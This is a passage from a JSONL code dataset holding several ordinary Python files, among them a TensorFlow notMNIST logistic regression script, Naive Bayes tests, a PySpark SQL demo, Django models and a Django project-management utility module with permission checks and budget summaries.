cms.string('hist_skim.root')\n)\n\nprocess.p = cms.Path(\n process.testBPHSpecificDecay,\n patAlgosToolsTask\n)\n\n","sub_path":"HeavyFlavorAnalysis/SpecificDecay/test/cfg_skim.py","file_name":"cfg_skim.py","file_ext":"py","file_size_in_byte":2874,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"615065675","text":"import numpy as np\nimport torch\nfrom torchvision.transforms.functional import normalize, to_tensor\n\nfrom catalyst.utils.image import tensor_to_ndimage, \\\n _IMAGENET_MEAN, _IMAGENET_STD\n\n\ndef test_tensor_to_ndimage():\n orig_images = np.random.randint(0, 255, (2, 20, 10, 3), np.uint8)\n\n torch_images = torch.stack(\n [\n normalize(to_tensor(im), _IMAGENET_MEAN, _IMAGENET_STD)\n for im in orig_images\n ],\n dim=0\n )\n\n byte_images = tensor_to_ndimage(torch_images, dtype=np.uint8)\n float_images = tensor_to_ndimage(torch_images, dtype=np.float32)\n\n assert np.allclose(byte_images, orig_images)\n assert np.allclose(float_images, orig_images / 255, atol=1e-3, rtol=1e-3)\n\n assert np.allclose(\n tensor_to_ndimage(torch_images[0]),\n orig_images[0] / 255,\n atol=1e-3,\n rtol=1e-3\n )\n","sub_path":"catalyst/utils/tests/test_image.py","file_name":"test_image.py","file_ext":"py","file_size_in_byte":872,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"333676288","text":"\"\"\"\"\nEdited MNIST logistic regression to predict the notMNIST\ndata with TensorFlow\n\n\"\"\"\n\nimport tensorflow as tf\nfrom tensorflow.examples.tutorials.mnist import input_data\nimport time\nimport json\nimport os\n\n# Define params for the model\n\nwith open('config.json') as config_file:\n config = json.load(config_file)\n\nlearning_rate = config['learning_rate']\nbatch_size = config['batch_size']\nn_epochs = config['n_epochs']\n\n# Step 1: Read in data\nnot_mnist = input_data.read_data_sets('notMNIST_data', one_hot=True)\n\n# Step 2: create placeholders for features and labels\n# each image in the notMNIST data is of shape 28*28 = 784\n# therefore, each image is represented with a 1x784 tensor\n# there are 10 classes for each image, correspondong to letters A-J\n# labels follow a one-hot-encoding\nX = tf.placeholder(tf.float32, [batch_size, 784], name='X_placeholder')\nY = tf.placeholder(tf.float32, [batch_size, 10], name='Y_placeholder')\n\n# Step 3: create weights and bias\n# w is initialized to random variables with mean of 0, stddev of 0.01\n# b is initialized to 0\n# shape of w depends on the dimension of X and Y so that Y = tf.matmul(X, w)\n# shape of b depends on Y\nw = tf.Variable(tf.random_normal(shape=[784, 10], stddev=0.01), name='weights')\nb = tf.Variable(tf.zeros([1, 10]), name='bias')\n\n# Step 4: Build model\n# the model that returns the logits\n# this logit will be later passed though a softmax layer\nlogits = tf.matmul(X, w) + b\n\n# Step 5: define loss function\n# use cross entropy of softmax of logits as the loss function\nentropy = tf.nn.softmax_cross_entropy_with_logits(labels=Y,\n logits=logits, name='loss')\n\nloss = tf.reduce_mean(entropy)\n\n# Step 6: define training op.\noptimizer_list = {\n \"gradient_descent\": lambda learn_rate, loss:\n tf.train.GradientDescentOptimizer(learn_rate).minimize(loss),\n \"adadelta\": lambda learn_rate, loss:\n tf.train.AdadeltaOptimizer(learn_rate).minimize(loss),\n \"adam\": lambda learn_rate, loss:\n tf.train.AdamOptimizer(learn_rate).minimize(loss)\n}\n\nfor key, value in config['optimizer'].items():\n if value:\n optimizer_func = optimizer_list[key]\n\noptimizer = optimizer_func(learning_rate, loss)\n\nwith tf.Session() as sess:\n\n output = {\"train_samples\": -1,\n \"test_samples\": -1,\n \"accuracy\": -1,\n \"time\": -1\n }\n # to visualize using TensorBoard\n writer = tf.summary.FileWriter('./graph', sess.graph)\n\n # print('samples: train {0} \\n test {1}'\n # .format(not_mnist.train.num_examples,\n # not_mnist.test.num_examples))\n output[\"train_samples\"] = not_mnist.train.num_examples\n output[\"test_samples\"] = not_mnist.test.num_examples\n\n start_time = time.time()\n sess.run(tf.global_variables_initializer())\n n_batches = int(not_mnist.train.num_examples / batch_size)\n\n for i in range(n_epochs):\n total_loss = 0\n\n for _ in range(n_batches):\n X_batch, Y_batch = not_mnist.train.next_batch(batch_size)\n _, loss_batch = sess.run([optimizer, loss],\n feed_dict={X: X_batch, Y: Y_batch})\n total_loss += loss_batch\n print('Average loss epoch {0}: {1}'.format(i, total_loss / n_batches))\n\n print('Optimization Finished!')\n\n # Test the model\n n_batches = int(not_mnist.test.num_examples / batch_size)\n\n total_correct_preds = 0\n\n for i in range(n_batches):\n X_batch, Y_batch = not_mnist.test.next_batch(batch_size)\n _, loss_batch, logits_batch = sess.run([optimizer, loss, logits],\n feed_dict={X: X_batch,\n Y: Y_batch})\n preds = tf.nn.softmax(logits_batch)\n correct_preds = tf.equal(tf.argmax(preds, 1), tf.argmax(Y_batch, 1))\n accuracy = tf.reduce_sum(tf.cast(correct_preds, tf.float32))\n total_correct_preds += sess.run(accuracy)\n\n print('Accuracy {0}'.format(total_correct_preds /\n not_mnist.test.num_examples))\n output[\"accuracy\"] = total_correct_preds / not_mnist.test.num_examples\n output[\"time\"] = time.time() - start_time\n\n # Write results in a file\n agg_outputs = []\n\n if not os.path.exists('results.json'):\n with open('results.json', 'w+') as f:\n f.write('[]')\n\n with open('results.json', 'r') as output_file:\n agg_outputs = json.load(output_file)\n\n # new Python 3.5 syntax\n config_and_result = {**config, **output}\n agg_outputs.append(config_and_result)\n\n # Pretty Print the results\n with open('results.json', 'w') as output_file:\n json.dump(agg_outputs, output_file, sort_keys=True,\n indent=4, separators=(',', ': '))\n\n writer.close()\n sess.close()\n","sub_path":"sprint2_stanford_tf_cs20SI/src/nikhaas/01_not_mnist/logistic_regression_not_mnist.py","file_name":"logistic_regression_not_mnist.py","file_ext":"py","file_size_in_byte":4839,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"489378164","text":"# -*- coding:utf-8 -*-\nfrom numpy import *\nfrom NaiveBayes import bayes\nfrom Utils import Config\n\nclass Test(object):\n\n bayes = bayes.Bayes()\n\n def testingNB(self):\n listOPosts, listClasses = self.bayes.loadDataSet()\n myVocabList = self.bayes.createVocabList(listOPosts)\n trainMat = []\n for postinDoc in listOPosts:\n trainMat.append(self.bayes.setOfWords2Vec(myVocabList, postinDoc))\n p0V, p1V, pAb = self.bayes.trainNB0(array(trainMat), array(listClasses))\n testEntry = ['love', 'my', 'dalmation']\n thisDoc = array(self.bayes.setOfWords2Vec(myVocabList, testEntry))\n testEntry = ['stupid', 'garbage']\n thisDoc = array(self.bayes.setOfWords2Vec(myVocabList, testEntry))\n print(testEntry, 'classified as: ', self.bayes.classifyNB(thisDoc, p0V, p1V, pAb))\n\n # 测试书上例子\n def testingNB01(self):\n list_X = [\n [1, 'S'],\n [1, 'M'],\n [1, 'M'],\n [1, 'S'],\n [1, 'S'],\n [2, 'S'],\n [2, 'M'],\n [2, 'M'],\n [2, 'L'],\n [2, 'L'],\n [3, 'L'],\n [3, 'M'],\n [3, 'M'],\n [3, 'L'],\n [3, 'L']\n ]\n list_Y = [-1,-1,1,1,-1,-1,-1,1,1,1,1,1,1,1,-1]\n # listOPosts, listClasses = self.bayes.loadDataSet()\n mylist = self.bayes.createVocabList(list_X)\n trainMat = []\n for x in list_X:\n trainMat.append(self.bayes.setOfWords2Vec(mylist, x))\n p0V, p1V, pAb = self.bayes.trainNB0(array(trainMat), array(list_Y))\n test_X = [2, 'S']\n # res = array(self.bayes.setOfWords2Vec(mylist, test_X))\n\n res = array(self.bayes.setOfWords2Vec(mylist, test_X))\n print(test_X, 'classified as: ', self.bayes.classifyNB(res, p0V, p1V, pAb))\n\n\n # 测试函数\n def spamTest(self):\n docList = []\n classList = []\n fullText = []\n for i in range(1, 26):\n # 导入文件 并解析成词列表\n wordList = self.bayes.textParse(open(Config.DATAS + 'NaiveBayes/email/spam/%d.txt' % i).read())\n docList.append(wordList)\n fullText.extend(wordList)\n classList.append(1)\n wordList = self.bayes.textParse(open(Config.DATAS + 'NaiveBayes/email/ham/%d.txt' % i).read())\n docList.append(wordList)\n fullText.extend(wordList)\n classList.append(0)\n vocabList = self.bayes.createVocabList(docList) # create vocabulary\n trainingSet = range(50);\n testSet = [] # 随机构建测试函数\n for i in range(10):\n randIndex = int(random.uniform(0, len(trainingSet)))\n testSet.append(trainingSet[randIndex])\n del (trainingSet[randIndex])\n trainMat = []\n trainClasses = []\n for docIndex in trainingSet: # 测试分类器\n trainMat.append(self.bayes.bagOfWords2VecMN(vocabList, docList[docIndex]))\n trainClasses.append(classList[docIndex])\n p0V, p1V, pSpam = self.bayes.trainNB0(array(trainMat), array(trainClasses))\n errorCount = 0\n for docIndex in testSet: # classify the remaining items\n wordVector = self.bayes.bagOfWords2VecMN(vocabList, docList[docIndex])\n if self.bayes.classifyNB(array(wordVector), p0V, p1V, pSpam) != classList[docIndex]:\n errorCount += 1\n print(\"classification error\", docList[docIndex])\n e = float(errorCount) / len(testSet)\n return e\n print('the error rate is: ', e)\n\n\nif __name__ == '__main__':\n # Test().testingNB()\n Test().testingNB01()\n","sub_path":"src/NaiveBayes/TestBayes.py","file_name":"TestBayes.py","file_ext":"py","file_size_in_byte":3686,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"209785280","text":"from django.db import models\n\n# Create your models here.\nfrom timetables.models import Timetable\nfrom django import forms\n#class Timetable(models.Model):\n # pass\n\nMONDAY = 0\nTUESDAY = 1\nWEDNESDAY = 2\nTHURSDAY = 3\nFRIDAY = 4\nSATURDAY = 5\nSUNDAY = 6\nDAY_CHOICES = (\n (MONDAY, 'Monday'),\n (TUESDAY, 'Tuesday'),\n (WEDNESDAY, 'Wednesday'),\n (THURSDAY, 'Thursday'),\n (FRIDAY, 'Friday'),\n (SATURDAY, 'Saturday'),\n (SUNDAY, 'Sunday')\n)\n\nORDER_CHOICES = (\n (1, '1'),\n (2, '2'),\n (3, '3'),\n (4, '4'),\n (5, '5'),\n (6, '6'),\n (7, '7'),\n (8, '8'),\n (9, '9'),\n (10, '10'),\n)\n\n\nclass Period(models.Model):\n code = models.CharField(max_length=10)\n name = models.CharField(max_length=30)\n lecturer = models.CharField(max_length=30)\n length = models.IntegerField(max_length=2)\n timetable = models.ForeignKey(Timetable)\n position = models.IntegerField(max_length=2)\n\n\n","sub_path":"periods/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":920,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"1947665","text":"from pyspark.sql import SparkSession\n\nspark = SparkSession.builder \\\n .appName(\"demo01\") \\\n .config(\"spark.sql.shuffle.partitions\", \"4\") \\\n .getOrCreate()\n\nemp_df = spark.read.parquet(\"/tmp/data01_csv\")\n\nemp_df.createOrReplaceTempView(\"emp_view\")\n\nresult1 = spark.sql(\"SELECT job, AVG(sal) avgsal FROM emp_view GROUP BY job ORDER BY job\")\nresult1.show()\nresult1.explain()\n\nresult2 = emp_df \\\n .groupBy(\"job\") \\\n .avg(\"sal\") \\\n .orderBy(\"job\")\nresult2.show()\nresult2.explain()\n\nspark.stop()\n","sub_path":"spark/sparkSQL/demo01.py","file_name":"demo01.py","file_ext":"py","file_size_in_byte":508,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"627271334","text":"from django.db.models import Sum, Q\nfrom django.utils.translation import gettext as _, gettext_lazy\n\nfrom lib.templatetags.custom_filters import nz\nfrom shared_models import models as shared_models\nfrom . import models\n\n\ndef get_help_text_dict():\n my_dict = {}\n for obj in models.HelpText.objects.all():\n my_dict[obj.field_name] = str(obj)\n\n return my_dict\n\n\ndef in_projects_admin_group(user):\n \"\"\"\n Will return True if user is in project_admin group\n \"\"\"\n if user:\n return user.groups.filter(name='projects_admin').exists()\n\n\ndef is_management(user):\n \"\"\"\n Will return True if user is in project_admin group, or if user is listed as a head of a section, division or branch\n \"\"\"\n if user and user.id:\n return shared_models.Section.objects.filter(head=user).exists() or \\\n shared_models.Division.objects.filter(head=user).exists() or \\\n shared_models.Branch.objects.filter(head=user).exists()\n\n\ndef is_management_or_admin(user):\n \"\"\"\n Will return True if user is in project_admin group, or if user is listed as a head of a section, division or branch\n \"\"\"\n if user.id:\n return in_projects_admin_group(user) or is_management(user)\n\n\ndef is_section_head(user, project):\n try:\n return True if project.section.head == user else False\n except AttributeError as e:\n print(e)\n\n\ndef is_division_manager(user, project):\n try:\n return True if project.section.division.head == user else False\n except AttributeError:\n pass\n\n\ndef is_rds(user, project=None):\n if project:\n try:\n return True if project.section.division.branch.head == user else False\n except AttributeError:\n pass\n else:\n return shared_models.Branch.objects.filter(head=user).exists()\n\n\ndef is_project_lead(user, project_id=None, project_year_id=None):\n \"\"\"\n returns True if user is among the project's project leads\n \"\"\"\n if user.id:\n project = None\n if project_year_id:\n project = models.ProjectYear.objects.get(pk=project_year_id).project\n elif project_id:\n project = models.Project.objects.get(pk=project_id)\n\n if project:\n return user in [s.user for s in models.Staff.objects.filter(project_year__project=project, is_lead=True)]\n\n\ndef can_modify_project(user, project_id, return_as_dict=False):\n \"\"\"\n returns True if user has permissions to delete or modify a project\n The answer of this question will depend on whether the project is submitted. Project leads cannot edit a submitted project\n \"\"\"\n my_dict = dict(can_modify=False, reason=_(\"You are not logged in\"))\n\n if user.id:\n\n my_dict[\"reason\"] = \"You are not a project lead or manager of this project\"\n project = models.Project.objects.get(pk=project_id)\n\n # check to see if a superuser or projects_admin -- both are allow to modify projects\n if in_projects_admin_group(user):\n my_dict[\"reason\"] = \"You can modify this record because you are a system administrator\"\n my_dict[\"can_modify\"] = True\n\n # check to see if they are a section head\n elif is_section_head(user, project):\n my_dict[\"reason\"] = \"You can modify this record because it falls under your section\"\n my_dict[\"can_modify\"] = True\n\n # check to see if they are a div. manager\n elif is_division_manager(user, project):\n my_dict[\"reason\"] = \"You can modify this record because it falls under your division\"\n my_dict[\"can_modify\"] = True\n\n # check to see if they are an RDS\n elif is_rds(user, project):\n my_dict[\"reason\"] = \"You can modify this record because it falls under your branch\"\n my_dict[\"can_modify\"] = True\n\n # check to see if they are a project lead\n elif is_project_lead(user, project_id=project.id):\n my_dict[\"reason\"] = \"You can modify this record because you are a project lead\"\n my_dict[\"can_modify\"] = True\n\n # check to see if they are a project lead\n elif not models.Staff.objects.filter(project_year__project=project, is_lead=True).exists():\n my_dict[\"reason\"] = \"You can modify this record because there are currently no project leads\"\n my_dict[\"can_modify\"] = True\n\n return my_dict if return_as_dict else my_dict[\"can_modify\"]\n\n\ndef is_admin_or_project_manager(user, project):\n \"\"\"returns True if user is either in 'projects_admin' group OR if they are a manager of the project (section head, div. manager, RDS)\"\"\"\n if user.id:\n\n # check to see if a superuser or projects_admin -- both are allow to modify projects\n if \"projects_admin\" in [g.name for g in user.groups.all()]:\n return True\n\n # check to see if they are a section head, div. manager or RDS\n if is_section_head(user, project) or is_division_manager(user, project) or is_rds(user, project):\n return True\n\n\ndef get_manageable_sections(user):\n if in_projects_admin_group(user):\n return shared_models.Section.objects.filter(projects2__isnull=False).distinct()\n return shared_models.Section.objects.filter(Q(head=user) | Q(division__head=user) | Q(division__branch__head=user))\n\n\ndef get_section_choices(all=False, full_name=True, region_filter=None, division_filter=None):\n if full_name:\n my_attr = \"full_name\"\n else:\n my_attr = _(\"name\")\n\n if region_filter:\n reg_kwargs = {\n \"division__branch__region_id\": region_filter\n }\n else:\n reg_kwargs = {\n \"division__branch__region_id__isnull\": False\n }\n\n if division_filter:\n div_kwargs = {\n \"division_id\": division_filter\n }\n else:\n div_kwargs = {\n \"division_id__isnull\": False\n }\n\n if not all:\n my_choice_list = [(s.id, getattr(s, my_attr)) for s in\n shared_models.Section.objects.all().order_by(\n \"division__branch__region\",\n \"division__branch\",\n \"division\",\n \"name\"\n ).filter(**div_kwargs).filter(**reg_kwargs) if s.projects2.count() > 0]\n else:\n my_choice_list = [(s.id, getattr(s, my_attr)) for s in\n shared_models.Section.objects.filter(\n division__branch__name__icontains=\"science\").order_by(\n \"division__branch__region\",\n \"division__branch\",\n \"division\",\n \"name\"\n ).filter(**div_kwargs).filter(**reg_kwargs)]\n\n return my_choice_list\n\n\ndef get_division_choices(all=False, region_filter=None):\n division_list = set(\n [shared_models.Section.objects.get(pk=s[0]).division_id for s in get_section_choices(all=all, region_filter=region_filter)])\n return [(d.id, str(d)) for d in\n shared_models.Division.objects.filter(id__in=division_list).order_by(\"branch__region\", \"name\")]\n\n\ndef get_region_choices(all=False):\n region_list = set(\n [shared_models.Division.objects.get(pk=d[0]).branch.region_id for d in get_division_choices(all=all)])\n return [(r.id, str(r)) for r in\n shared_models.Region.objects.filter(id__in=region_list).order_by(\"name\", )]\n\n\ndef get_omcatagory_choices():\n return [(o.id, str(o)) for o in models.OMCategory.objects.all()]\n\n\ndef get_funding_sources(all=False):\n return [(fs.id, str(fs)) for fs in models.FundingSource.objects.all()]\n\n\ndef get_user_fte_breakdown(user, fiscal_year_id):\n staff_instances = models.Staff.objects.filter(user=user, project_year__fiscal_year_id=fiscal_year_id)\n my_dict = dict()\n my_dict['name'] = f\"{user.last_name}, {user.first_name}\"\n my_dict['fiscal_year'] = str(shared_models.FiscalYear.objects.get(pk=fiscal_year_id))\n my_dict['draft'] = nz(staff_instances.filter(\n project_year__status=1\n ).aggregate(dsum=Sum(\"duration_weeks\"))[\"dsum\"], 0)\n\n my_dict['submitted_unapproved'] = nz(staff_instances.filter(\n project_year__status__in=[2, 3]\n ).aggregate(dsum=Sum(\"duration_weeks\"))[\"dsum\"], 0)\n\n my_dict['approved'] = nz(staff_instances.filter(\n project_year__status=4\n ).aggregate(dsum=Sum(\"duration_weeks\"))[\"dsum\"], 0)\n\n return my_dict\n\n\ndef financial_project_year_summary_data(project_year):\n \"\"\" this function will return a list, where each row corresponds to a funding source\"\"\"\n # for every funding source, we will want to summarize: Salary, O&M, Capital and TOTAL\n my_list = []\n\n for fs in project_year.get_funding_sources():\n my_dict = dict()\n my_dict[\"type\"] = fs.get_funding_source_type_display()\n my_dict[\"name\"] = str(fs)\n my_dict[\"salary\"] = 0\n my_dict[\"om\"] = 0\n my_dict[\"capital\"] = 0\n\n # first calc for staff\n for staff in project_year.staff_set.filter(funding_source=fs):\n # exclude any employees that should be excluded. This is a fail safe since the form should prevent data entry\n if not staff.employee_type.exclude_from_rollup:\n if staff.employee_type.cost_type == 1:\n my_dict[\"salary\"] += nz(staff.amount, 0)\n elif staff.employee_type.cost_type == 2:\n my_dict[\"om\"] += nz(staff.amount, 0)\n\n # O&M costs\n for cost in project_year.omcost_set.filter(funding_source=fs):\n my_dict[\"om\"] += nz(cost.amount, 0)\n\n # Capital costs\n for cost in project_year.capitalcost_set.filter(funding_source=fs):\n my_dict[\"capital\"] += nz(cost.amount, 0)\n\n my_dict[\"total\"] = my_dict[\"salary\"] + my_dict[\"om\"] + my_dict[\"capital\"]\n\n my_list.append(my_dict)\n\n return my_list\n\n\ndef financial_project_summary_data(project):\n my_list = []\n if project.get_funding_sources():\n for fs in project.get_funding_sources():\n my_dict = dict()\n my_dict[\"type\"] = fs.get_funding_source_type_display()\n my_dict[\"name\"] = str(fs)\n my_dict[\"salary\"] = 0\n my_dict[\"om\"] = 0\n my_dict[\"capital\"] = 0\n\n # first calc for staff\n for staff in models.Staff.objects.filter(funding_source=fs, project_year__project=project):\n # exclude any employees that should be excluded. This is a fail safe since the form should prevent data entry\n if not staff.employee_type.exclude_from_rollup:\n if staff.employee_type.cost_type == 1:\n my_dict[\"salary\"] += nz(staff.amount, 0)\n elif staff.employee_type.cost_type == 2:\n my_dict[\"om\"] += nz(staff.amount, 0)\n\n # O&M costs\n for cost in models.OMCost.objects.filter(funding_source=fs, project_year__project=project):\n my_dict[\"om\"] += nz(cost.amount, 0)\n\n # Capital costs\n for cost in models.CapitalCost.objects.filter(funding_source=fs, project_year__project=project):\n my_dict[\"capital\"] += nz(cost.amount, 0)\n\n my_dict[\"total\"] = my_dict[\"salary\"] + my_dict[\"om\"] + my_dict[\"capital\"]\n\n my_list.append(my_dict)\n\n return my_list\n\n\ndef multiple_financial_project_year_summary_data(project_years):\n my_list = []\n\n fs_list = list()\n # first get funding source list\n for py in project_years:\n fs_list.extend([fs.id for fs in py.get_funding_sources()])\n funding_sources = models.FundingSource.objects.filter(id__in=fs_list)\n\n for fs in funding_sources:\n my_dict = dict()\n my_dict[\"type\"] = fs.get_funding_source_type_display()\n my_dict[\"name\"] = str(fs)\n my_dict[\"salary\"] = 0\n my_dict[\"om\"] = 0\n my_dict[\"capital\"] = 0\n\n for py in project_years:\n # first calc for staff\n for staff in models.Staff.objects.filter(funding_source=fs, project_year=py):\n # exclude any employees that should be excluded. This is a fail safe since the form should prevent data entry\n if not staff.employee_type.exclude_from_rollup:\n if staff.employee_type.cost_type == 1:\n my_dict[\"salary\"] += nz(staff.amount, 0)\n elif staff.employee_type.cost_type == 2:\n my_dict[\"om\"] += nz(staff.amount, 0)\n\n # O&M costs\n for cost in models.OMCost.objects.filter(funding_source=fs, project_year=py):\n my_dict[\"om\"] += nz(cost.amount, 0)\n\n # Capital costs\n for cost in models.CapitalCost.objects.filter(funding_source=fs, project_year=py):\n my_dict[\"capital\"] += nz(cost.amount, 0)\n\n my_dict[\"total\"] = my_dict[\"salary\"] + my_dict[\"om\"] + my_dict[\"capital\"]\n\n my_list.append(my_dict)\n\n return my_list\n\n\ndef get_project_field_list(project):\n is_acrdp = project.is_acrdp\n is_csrf = project.is_csrf\n is_sara = project.is_sara\n general_project = not is_csrf and not is_acrdp and not is_sara\n\n my_list = [\n 'id',\n 'section',\n # 'title',\n 'overview' if general_project else None,\n # do not call the html field directly or we loose the ability to get the model's verbose name\n 'activity_type',\n 'functional_group.theme|{}'.format(_(\"theme\")),\n 'functional_group',\n 'default_funding_source',\n 'start_date',\n 'end_date',\n 'fiscal_years|{}'.format(_(\"Project years\")),\n 'funding_sources',\n 'lead_staff',\n\n # acrdp fields\n 'overview|{}'.format(gettext_lazy(\"Project overview / ACRDP objectives\")) if is_acrdp else None,\n 'organization' if is_acrdp else None,\n 'species_involved' if is_acrdp else None,\n 'team_description_html|{}'.format(_(\"description of team and required qualifications (ACRDP)\")) if is_acrdp else None,\n 'rationale_html|{}'.format(_(\"project problem / rationale (ACRDP)\")) if is_acrdp else None,\n 'experimental_protocol_html|{}'.format(_(\"experimental protocol (ACRDP)\")) if is_acrdp else None,\n\n # csrf fields\n 'overview' if is_csrf else None,\n 'csrf_theme|{}'.format(_(\"CSRF theme\")) if is_csrf else None,\n 'csrf_sub_theme|{}'.format(_(\"CSRF sub-theme\")) if is_csrf else None,\n 'csrf_priority|{}'.format(_(\"CSRF priority\")) if is_csrf else None,\n 'client_information_html|{}'.format(_(\"Additional info supplied by client\")) if is_csrf else None,\n 'second_priority' if is_csrf else None,\n 'objectives_html|{}'.format(_(\"project objectives (CSRF)\")) if is_csrf else None,\n 'innovation_html|{}'.format(_(\"innovation (CSRF)\")) if is_csrf else None,\n 'other_funding_html|{}'.format(_(\"other sources of funding (CSRF)\")) if is_csrf else None,\n\n # sara fields\n 'overview|{}'.format(_(\"Objectives and methods\")) if is_sara else None,\n 'reporting_mechanism' if is_sara else None,\n 'future_funding_needs' if is_sara else None,\n\n 'tags',\n 'references',\n 'metadata|{}'.format(_(\"metadata\")),\n ]\n while None in my_list: my_list.remove(None)\n return my_list\n\n\ndef get_project_year_field_list(project_year=None):\n my_list = [\n 'dates|dates',\n 'priorities', # do not call the html field directly or we loose the ability to get the model's verbose name\n # 'deliverables', # do not call the html field directly or we loose the ability to get the model's verbose name\n\n # SPECIALIZED EQUIPMENT COMPONENT\n #################################\n 'requires_specialized_equipment|{}'.format(_(\"requires specialized equipment?\")),\n 'technical_service_needs' if not project_year or project_year.requires_specialized_equipment else None,\n 'mobilization_needs' if not project_year or project_year.requires_specialized_equipment else None,\n\n # FIELD COMPONENT\n #################\n 'has_field_component|{}'.format(_(\"has field component?\")),\n 'vehicle_needs' if not project_year or project_year.has_field_component else None,\n 'ship_needs' if not project_year or project_year.has_field_component else None,\n 'coip_reference_id' if not project_year or project_year.has_field_component else None,\n 'instrumentation' if not project_year or project_year.has_field_component else None,\n 'owner_of_instrumentation' if not project_year or project_year.has_field_component else None,\n 'requires_field_staff' if not project_year or project_year.has_field_component else None,\n 'field_staff_needs' if not project_year or project_year.has_field_component and project_year.requires_field_staff else None,\n\n # DATA COMPONENT\n ################\n 'has_data_component',\n 'data_collected' if not project_year or project_year.has_data_component else None,\n 'data_products' if not project_year or project_year.has_data_component else None,\n 'open_data_eligible' if not project_year or project_year.has_data_component else None,\n 'data_storage_plan' if not project_year or project_year.has_data_component else None,\n 'data_management_needs' if not project_year or project_year.has_data_component else None,\n\n # LAB COMPONENT\n ###############\n 'has_lab_component',\n 'requires_abl_services' if not project_year or project_year.has_lab_component else None,\n 'requires_lab_space' if not project_year or project_year.has_lab_component else None,\n 'requires_other_lab_support' if not project_year or project_year.has_lab_component else None,\n 'other_lab_support_needs' if not project_year or project_year.has_lab_component else None,\n\n 'it_needs|{}'.format(_(\"special IT requirements\")),\n 'additional_notes',\n 'coding',\n 'submitted',\n 'formatted_status|{}'.format(_(\"status\")),\n # 'allocated_budget|{}'.format(_(\"allocated budget\")),\n # 'review_score|{}'.format(_(\"review score\")),\n 'metadata|{}'.format(_(\"metadata\")),\n ]\n\n # remove any instances of None\n while None in my_list: my_list.remove(None)\n\n return my_list\n\n\ndef get_review_field_list():\n my_list = [\n 'collaboration_score_html|{}'.format(\"external pressures score\"),\n 'strategic_score_html|{}'.format(\"strategic direction score\"),\n 'operational_score_html|{}'.format(\"operational considerations score\"),\n 'ecological_score_html|{}'.format(\"ecological impact score\"),\n 'scale_score_html|{}'.format(\"scale score\"),\n 'total_score',\n 'comments_for_staff',\n 'approval_level',\n 'approver_comment',\n 'allocated_budget',\n 'metadata',\n ]\n return my_list\n\n\ndef get_staff_field_list():\n my_list = [\n 'smart_name|{}'.format(_(\"name\")),\n 'funding_source',\n 'is_lead',\n 'employee_type',\n 'level',\n 'duration_weeks',\n # 'overtime_hours',\n # 'overtime_description',\n # 'student_program',\n 'amount',\n ]\n return my_list\n\n\ndef get_citation_field_list():\n my_list = [\n 'tname|{}'.format(_(\"title\")),\n 'authors',\n 'year',\n 'publication',\n 'pub_number',\n # 'turl|{}'.format(_(\"url\")),\n 'tabstract|{}'.format(_(\"abstract\")),\n 'series',\n 'region',\n ]\n return my_list\n\n\ndef get_om_field_list():\n my_list = [\n 'category_type|{}'.format(_(\"category type\")),\n 'om_category',\n 'description',\n 'funding_source',\n 'amount',\n ]\n return my_list\n\n\ndef get_capital_field_list():\n my_list = [\n 'category',\n 'description',\n 'funding_source',\n 'amount',\n ]\n return my_list\n\n\ndef get_activity_field_list():\n my_list = [\n 'type',\n 'name',\n 'description',\n 'target_date',\n 'responsible_party',\n 'latest_update|{}'.format(_(\"latest status\")),\n ]\n return my_list\n\n\ndef get_collaboration_field_list():\n my_list = [\n 'type',\n 'new_or_existing',\n 'organization',\n 'people',\n 'critical',\n 'agreement_title',\n # 'gc_program',\n # 'amount',\n 'notes',\n ]\n return my_list\n\n\ndef get_status_report_field_list():\n my_list = [\n 'report_number|{}'.format(\"number\"),\n 'status',\n 'major_accomplishments_html|{}'.format(_(\"major accomplishments\")),\n 'major_issues_html|{}'.format(_(\"major issues\")),\n 'target_completion_date',\n 'general_comment',\n 'supporting_resources|{}'.format(_(\"supporting resources\")),\n 'section_head_comment',\n 'section_head_reviewed',\n 'metadata',\n ]\n return my_list\n\n\ndef get_activity_update_field_list():\n my_list = [\n 'activity',\n 'status',\n 'notes_html|{}'.format(\"notes\"),\n 'metadata|{}'.format(\"meta\"),\n ]\n return my_list\n\n\ndef get_file_field_list():\n my_list = [\n 'name',\n 'ref|{}'.format(\"reference\"),\n 'external_url',\n 'file',\n 'date_created',\n\n ]\n return my_list\n\n\ndef get_review_score_rubric():\n return {\n \"collaboration\": {\n 1: {\n \"criteria\": _(\n \"no formal commitments; limited interest from stakeholders; limited opportunity for partnership or collaboration.\"),\n \"examples\": _(\n \"No expressed interest or identified as a low priority (or potential conflict) by a stakeholder advisory committee.\"),\n },\n 2: {\n \"criteria\": _(\"Informal departmental commitments; some interest from stakeholders; internal collaboration.\"),\n \"examples\": _(\n \"Verbal agreement with stakeholders or external partner. Collaboration between internal programs of science staff.\"),\n },\n 3: {\n \"criteria\": _(\n \"regulatory or legal commitment; high interest from stakeholders; strong opportunity for external partnership and collaboration.\"),\n \"examples\": _(\"Signed G&C agreement with external partner.\"),\n },\n },\n \"strategic\": {\n 1: {\n \"criteria\": _(\"limited long-term value; short-term benefit (fire-fighting)\"),\n \"examples\": _(\n \"Local, archived dataset, with limited likelihood of replication going forward. No clear link to decision-making.\"),\n },\n 2: {\n \"criteria\": _(\"some strategic value to department; medium-term benefit\"),\n \"examples\": _(\n \"Regional dataset of current high value, but potential to be replaced by emerging technology. Indirect link to decision.\"),\n },\n 3: {\n \"criteria\": _(\"high long-term strategic value to the department; high innovation value; broad applicability\"),\n \"examples\": _(\n \"High value/priority, nationally consistent dataset using emerging, more cost effective (emerging) technology. Clear link to high-priority decision-making.\"),\n },\n },\n \"operational\": {\n 1: {\n \"criteria\": _(\"One-off project; feasible now but not sustainable in the long-term.\"),\n \"examples\": _(\"New data collection. Significant admin work required.\"),\n },\n 2: {\n \"criteria\": _(\n \"Moderate level of feasibility or operational efficiency, e.g. equipment/tools readily available to be implemented within year\"),\n \"examples\": _(\"Some processing/analysis required of an existing dataset.\"),\n },\n 3: {\n \"criteria\": _(\n \"high feasibility, e.g. data availability, expertise, existing monitoring platforms, and 